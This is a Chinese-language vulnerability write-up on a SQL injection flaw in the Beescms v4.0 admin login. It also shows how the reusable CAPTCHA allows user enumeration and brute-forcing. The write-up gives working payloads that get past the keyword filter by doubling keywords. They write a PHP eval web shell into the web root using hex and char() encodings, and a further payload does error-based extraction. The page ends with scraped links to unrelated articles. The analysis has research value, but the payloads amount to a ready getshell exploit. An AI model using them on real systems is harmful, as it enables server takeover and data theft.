Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析
一、漏洞描述
Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入。
二、漏洞环境搭建
1、官方下载Beescms v4.0,下载地址: http://beescms.com/cxxz.html
2、解压压缩文件,然后把文件放到phpstudy的网站根目录
3、浏览器访问http://192.168.10.171/beescms/install,开始安装
4、一直下一步,出现如下界面,输入数据库账户密码
5、成功安装
6、修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。
三、漏洞影响版本
Beescms v4.0
四、漏洞复现
1、浏览器访问后台页面http://192.168.10.171/beescms/admin/
2、任意输入用户名和密码,看到提示“不存在该管理用户”,可以枚举用户名,然后根据枚举出来的用户名爆破密码
3、burpsuit枚举用户名,可以看到该验证码存在设计缺陷漏洞,一次验证后在不刷新的情况下可以多次提交请求,最终导致攻击者可以进行模糊测试(暴力枚举)。
4、根据枚举出来的用户名,然后枚举密码,可以看到成功枚举密码
5、在用户名处输入单引号,报错,说明存在sql注入漏洞
6、查看源码,发现使用f1_value函数和f1_html函数对输入的用户名和密码进行过滤
7、跟进f1_value函数,发现f1_value函数对输入的关键字进行了过滤,可以看到,几乎常见的SQL关键字都被过滤掉了。
8、跟进f1_html函数,发现使用htmlspecialchars函数对输入的特殊符号进行html实体化转义,主要用于防御XSS漏洞
9、百度搜索htmlspecialchars函数,发现htmlspecialchars函数默认情况下只对双引号进行编码,可以看到这个版本的cms使用默认对参数进行过滤处理,此处存在单引号引入的漏洞。
10、继续浏览代码,发现登录验证函数check_login
11、跟进check_login函数,发现check_login函数在验证用户是先验证用户名,然后验证密码是否正确,该处验证逻辑存在漏洞。
12、手工模糊测试
12.1手工测试发现union select等关键字被过滤
12.2通过上面的分析源码,发现bypass的方法
union => uni union on
select => selselectect
12.3、猜解SQL查询语句中的字段数,根据如下图所示,判断出SQL查询语句中的字段数为5
12.4、尝试通过SQL注入getshell
12.4.1、写入一句话到目标网站根目录下,payload如下:
admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[cmd]);?> into outfile 'C:/phpStudy/WWW/beescms/shell.php'#
12.4.2、在burpsuit抓包,修改包并重放,提示如下错误,根据返回的数据包可以看到由于htmlspecialchars函数对输入的特殊符号进行html实体化转义,还有就是into、outfile关键字被过滤
12.4.3、手工测试bypass关键字过滤防护
outfile => outoutfilefile
into => in into
12.4.4、通过上面的分析,发现php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。
方法一、Hex编码
1、 对shell部分进行编码
2、 写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数
unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e),但是本次实验用unhex函数一直失败
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#
3、burp修改数据包,成功写入shell
4、菜刀连接
方法二、使用char函数
1、mysql内置函数char()可以将里边的ascii码参数转换为字符串,使用python实现快速转换
2、构造payload,payload为:
admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#
3、burp修改数据包,成功写入shell
4、菜刀连接
后记:
1、经过测试,发现user字段除了存在布尔注入,还存在报错注入
2、构造payload,payload如下:
admin' a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#
---------------------------------------------------------------------------
参考: https://www.ohlinge.cn/php/beescms_sqli.html
https://www.ohlinge.cn/php/beescms_login_sql.html
Beescms_v4.0 sql注入漏洞分析的更多相关文章
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴
本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...
随机推荐
- java中Long类型和long类型的大小比较
在开发过程中老犯一些低级错误,基础还得好好加强啊...... 今天遇到这样一个问题,我用 "=="来比较两个Long类型的数据,明明数值都相等,可是结果就是false,后来仔细想想 ...
- C# HTTP系列13 以form-data方式上传多个文件以及键值对集合到远程服务器
系列目录 [已更新最新开发文章,点击查看详细] 类似于以下场景,将表单中的用户信息(包含附件)上传到服务器并保存到数据库中, <form id="form1" run ...
- unity之中级工程师
主要是实际操作. Destroy(游戏对象):会真正销毁游戏对象. 动态链接库 热更新:用户不需要更新整个项目,只需要更新需要更新的部分,使用AssetBundle.PC,Android可以使用逻辑热 ...
- Java跨平台实现原理
跨平台:一次编译,处处运行. 实现原理:Java源代码经过编译,生成字节码文件,交由Java虚拟机来执行,不同得系统有不同得JVM,借助JVM实现跨平台.
- HDU5988 - 2016icpc青岛 - G - Coding Contest 费用流(利用对数化乘为加
HDU5988 题意: 有n个区域,每个区域有s个人,b份饭.现在告诉你每个区域间的有向路径,每条路有容量和损坏路径的概率.问如何走可以使得路径不被破坏的概率最小.第一个人走某条道路是百分百不会损坏道 ...
- Kafka笔记—可靠性、幂等性和事务
这几天很忙,但是我现在给我的要求是一周至少要出一篇文章,所以先拿这篇笔记来做开胃菜,源码分析估计明后两天应该能写一篇.给自己加油~,即使没什么人看. 可靠性 如何保证消息不丢失 Kafka只对&quo ...
- 通过对微信pc hook实现微信助手
本软件主要通过对pc端微信hook来实现的,微信版本2.6.8.52. 软件下载地址: http://blog.yshizi.cn/104.html 软件实现功能: 支持爆粉 支持文本消息群发 支持自 ...
- x86_64 Linux 运行时栈的字节对齐
前言 C语言的过程调用机制(即函数之间的调用)的一个关键特性(起始大多数编程语言也是如此)都是使用了栈数据结构提供的后进先出的内存管理原则.每一个函数的栈空间被称为栈帧,一个栈帧上包含了保存的寄存器. ...
- Spring.Net是怎么在MVC中实现注入的(原理)
本文将介绍Spring.Net(不仅仅是Spring.Net,其实所有的IoC容器要向控制器中进行注入,原理都是差不多的)在MVC控制器中依赖注入的实现原理,本文并没有关于在MVC使用Spring怎么 ...
- Webstorm 的设置
背景色